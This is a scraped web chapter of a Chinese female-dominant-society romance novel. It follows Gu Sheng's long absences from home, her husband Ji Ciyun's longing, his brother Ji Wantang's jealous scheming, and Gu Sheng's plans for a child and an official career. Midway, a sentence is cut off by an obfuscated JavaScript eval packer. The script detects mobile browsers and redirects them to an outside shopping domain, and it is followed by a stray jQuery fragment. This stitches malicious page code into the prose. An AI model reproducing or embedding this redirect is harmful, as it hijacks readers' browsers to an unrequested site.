20. 第 20 章

作品:《渣了前夫之后(女尊)

    顾笙粲然一笑,眼底似有微光流转:“胡三笑,你这次可真是帮了我大忙。”


    她指尖在琴面上轻轻一叩:“你先前说我四处赴宴,不过是徒劳无功,这话可说得不对。至少……我不是因此结识了郡守大人么?”


    “郡守?”胡三笑嗤笑一声,毫不客气地泼冷水,“她看在季望舒的面子上给你几分薄面罢了,与你有何干系?我劝你还是别把手伸得太高。脚踏实地些,就算季望舒有心提携,季家本族还有那么多后辈等着她照拂呢。”


    “你说话可真不中听。”顾笙并不恼,脸上笑意更深,“我且赌一把,看这王氏娘子千里迢迢而来,究竟所为何事。”


    她说着起身,指尖轻弹,拂去衣袍上的褶皱:“陪我随处走走,醒醒神。”


    胡三笑听她这吩咐下人的口吻,面色微微一沉,哼道:“你这女人,给你几分好脸色,便要拿乔。难怪没人搭理你。”


    她话虽刻薄,脚下却已跟着动了。


    宴后一连数日,顾笙不知在忙些什么,几乎是早出晚归,甚至有几日彻夜未返。


    季辞云在家中从晨光熹微等到暮色四合,再等到更深夜阑,也只能等到苏家派来的仆役递个口信,始终不见妻主的人影。


    他心中又是委屈又是担忧,夜夜辗转难眠,偏偏又无人可倾诉。若在从前,他但凡有心事,必然要找母父倾吐,可如今两家宅邸虽只有一墙之隔,可此事关乎妻主,他怕说了,父母会在心底怪罪她。


    也不能同阿月讲。季辞云每回在阿月面前提起他与妻主之间的琐事,阿月总是眼神躲闪,神思不属。


    不过,这几日兄长倒是时常过来探望,每每带来些据说有助于孕事的补药食材,细细叮嘱他服用。


    这倒让季辞云心中宽慰许多。


    一来,顾笙确实催得紧。


    二来,兄长这般体贴关怀,也让他对自己先前那些猜疑感到些许内疚。


    或许真是自己被情爱冲昏了头脑,兄长与他自幼一同长大,感情深厚,即便曾对顾笙有过些许朦胧好感,如今自己既已嫁与她为夫,兄长也该放下了才是。


    季辞云收下药材,随口叹道:“这些药……近来怕是也用不上了。妻主一连多日不曾归家,我就是吃了也无用武之地。”


    季晚棠闻言,秀眉轻蹙。难怪他这几次过来都未见到顾笙人影。


    “弟弟,不是为兄多嘴,你如今是她的正夫,也该稍稍管束她些。女子在外交际应酬,本是常事,但夜宿不归,终究不成体统。你怎能就这般纵着她,任由她在外面浪荡?”


    季辞云听了,却又不高兴,小声反驳:“兄长怎能如此说妻主?她必然是有紧要的正事耽搁了,才会无法归家,怎会是在外……在外、浪……”


    最后一个字,他羞于启齿,涨红了脸也说不出口。


    季晚棠心中暗自翻了个白眼,恨不得能替了自己这个天真到愚蠢的弟弟来当这个家。


    他面上却依旧带着温和的笑意,循循善诱:“无论有何要事,家总是要回的。她如今尚且无职无责,便敢夜不归宿,若将来真踏入官场,事务繁杂,岂非更有借口?到那时,恐怕十天半月都见不着人影,徒留你一人在家,独守空房,形单影只。”


    他话虽是为季辞云着想,心底却另有盘算。顾笙回家,即便不是与他季晚棠同寝,也总比不知睡在哪个外头的野男人怀里强。


    只是自己如今名不正言不顺,连质问的资格都没有,这才便宜了季辞云。


    季辞云不忍:“可若妻主当真被琐事缠身,疲惫不堪,我还要强逼她连夜赶回,这未免太过苛待她了。”


    季晚棠和他全然聊不到一块儿去。


    情爱固然令人盲目,但季辞云这般,简直是病入膏肓,无药可医了。顾笙到底给他灌了什么迷魂汤?


    劝说不动,季晚棠也只能按下心中焦躁,陪着季辞云一同守在家中做“望妻石”。


    他自己也是初尝情欲的滋味,又无名分与顾笙私会,心火燃起时,常燎得人夜不能寐,辗转反侧。


    难耐之下,他趁着几次探望季辞云的机会,悄悄从季辞云房中顺走了几件顾笙日常穿的小衣,勉强聊以慰藉。


    直到第五日清晨,天色将明未明之时,顾笙才风尘仆仆地返回家中。


    她面有倦色,草草洗漱后,便一头栽倒在床榻上,几乎瞬息之间,便陷入了沉沉的昏睡。


    季辞云将将入睡不久,听到动静猛然惊醒。借着朦胧的晨光,看着身旁许久未见的身影,心中欣喜万分。


    他悄悄转过身,拉起顾笙一条手臂,环在自己腰间,整个人依偎进她怀中,鼻尖萦绕上她身上熟悉的墨香气,那颗悬了多日的心,才终于缓缓落回实处,沉沉睡去。


    顾笙直到晡时才悠悠睡醒,她手臂发麻,睁眼一看才发现季辞云不知何时将她的胳膊当成了枕头,紧紧压着。


    他睡得正沉,缭乱的乌发如云铺散,遮掩着半边洁白如玉的面庞,显得纯真无比。


    她试着轻轻抽动胳膊,却还是将怀中人惊醒了。


    “妻主……你醒了?”季辞云并未睁眼,只是本能地又往她怀里钻了钻,漂亮的脸蛋在她胸前蹭了蹭,声音带着刚睡醒的软糯沙哑。


    顾笙半支起身,看了眼窗外已然偏西的日头:“……我们竟睡到了这个时候?”


    季辞云没听清她说什么,双臂紧紧搂着她的腰,几乎要把自己嵌进她身体里,撒娇般的抱怨:“辞云好想你……你怎么今天才回来?”


    “这几日与苏大娘子谈起些旧事,她兴致高,硬留着不放人,实在推脱不得。”顾笙将锅甩给苏晓。


    季辞云垂下眼睑,显然对这个解释并不完全满意,却也没有追问。


    两人身躯温热相贴,他低声道:“下次不许这样了。我是以为你有极重要的事,才许你离开这么久的。”


    顾笙带着薄茧的指尖抚上他柔嫩的脸颊,轻轻捏了捏他的耳垂,戏谑道:“不过几日不见,就这么粘人?”


    “哼。”季辞云轻轻哼了一声,将脸埋得更深。


    顾笙一连奔波数日,心神俱疲,但想起生育子嗣的计划,第二日便不敢懈怠,开始着手调理身体。


    她知道眼下并非怀孕的最佳时机,若再过几年,身体底子打得更扎实些,生育自然更安全稳妥。


    但顾笙等不及了。


    她必须尽快踏入官场。她盘算着,趁现在先生育,待孩子落地,便能心无旁骛地谋求官职,省得日后既要应付孕产之苦,又要分心仕途奔波。


    若这一胎能得个女儿,那是再好不过。可若是个男儿……她就不得不采用一些非常手段了。


    季晚棠特意着人留意着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864826|191164||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    顾宅的动静,一得知顾笙昨日已然归家,第二日便精心妆扮,兴致勃勃地前来。


    岂料,又扑了个空。


    顾笙天刚蒙蒙亮便前往季氏府内的校场,跟随季氏族中几位习武的后辈一同练武,直至暮色四合方才返回,依旧是早出晚归,难觅踪影。


    季晚棠与季辞云这对兄弟,在内室中相对无言。


    季辞云斜倚在锦缎凭几上,单手支颐,眉宇间掩不住的幽怨。


    季晚棠将他这副情态尽收眼底,心中那股因屡次扑空而生的烦闷,竟也舒畅了许多。


    季辞云不是总爱扮演那善解人意、宽容大度的贤夫么?如今顾笙这般不着家,连面都难得一见。


    大家一同独守空闺,倒也公平。


    校场之上,秋高气爽,天朗气清。


    顾笙换上了一身便于行动的靛青色短褐,墨发高高束起,更显身姿挺拔利落。


    她立于箭靶数十步外,挽弓、搭箭、瞄准、松弦,动作流畅如行云流水。


    “嗖”“嗖”破空之声接连响起,羽箭离弦,稳稳定在靶心,引来周围季家子弟一阵低低的喝彩。


    季若木也在一旁观摩,她懒洋洋地靠在木人桩上,见顾笙箭无虚发,也跟着拊掌叫好。


    待顾笙一轮射毕,走到场边拿起水囊饮水时,季若木便踱步过去,眼中带着毫不掩饰的欣赏。


    “可以啊,阿笙!”季若木拍了下顾笙的肩膀,力道不轻,“看着清清瘦瘦的,没想到臂力这般足,竟能稳稳拉开这张三石强弓。”


    她说着,伸手捏了捏顾笙的上臂。胳膊隔着衣物并不显得粗壮,但一发力便能清晰地看到布料下紧实流畅的肌肉轮廓。


    顾笙微微侧身,笑道:“许久未曾正经练过,这才射了几轮,手臂就已经有些发酸了。”


    “都这样。”季若木摆摆手,兴致勃勃地与顾笙攀谈起来,“我听人说,你近些时日正忙着调理身体,准备要孩子?”


    她上下打量着顾笙:“那你可得把身子骨练结实些,力气大,体格好,生孩子的时候能少吃不少苦头。当年我生羡鱼那丫头,是在赶路的马车上,也没找稳婆,自己就生了,第二天照样能骑马赶路。可我那大姐自小身子骨就弱,生辞云的时候,在床上足足将养了两三个月才见起色,可把人担心坏了。”


    她怕顾笙不信,直接将窄袖撸到肩头,露出线条优美、肤色健康的手臂,稍一用力屈肘,饱满的肱二头肌便贲张隆起,勾勒出清晰有力的线条:“瞧瞧!厉害不?”


    顾笙被她这豪迈不拘的举动惊了一下,随即失笑,诚恳点头:“听辞云提起过,姨母常年在外走南闯北,见多识广,体力自然远非常人可比。”


    “那是自然!”季若木放下袖子,拍了拍顾笙的肩膀,像是随口闲聊:“不过,你还这么年轻,怎么忽然就急着要孩子了?寻常女子像你这般年纪,多半还想多逍遥几年呢。”


    “反正早晚都要生,省得日后若是忙了,又要因为生孩子而耽误正事。”顾笙无奈笑了笑,“不瞒姨母,我心中一直盼着能有机会出仕,做出一番事业来。”


    季若木深以为然,感慨道:“要么怎么说,咱们做女子的,就是辛苦些。既要承担传承血脉的职责,又要养家糊口、建功立业。倒不如做个男人,只需打理好内帷,相妻教子,反倒轻松自在些。”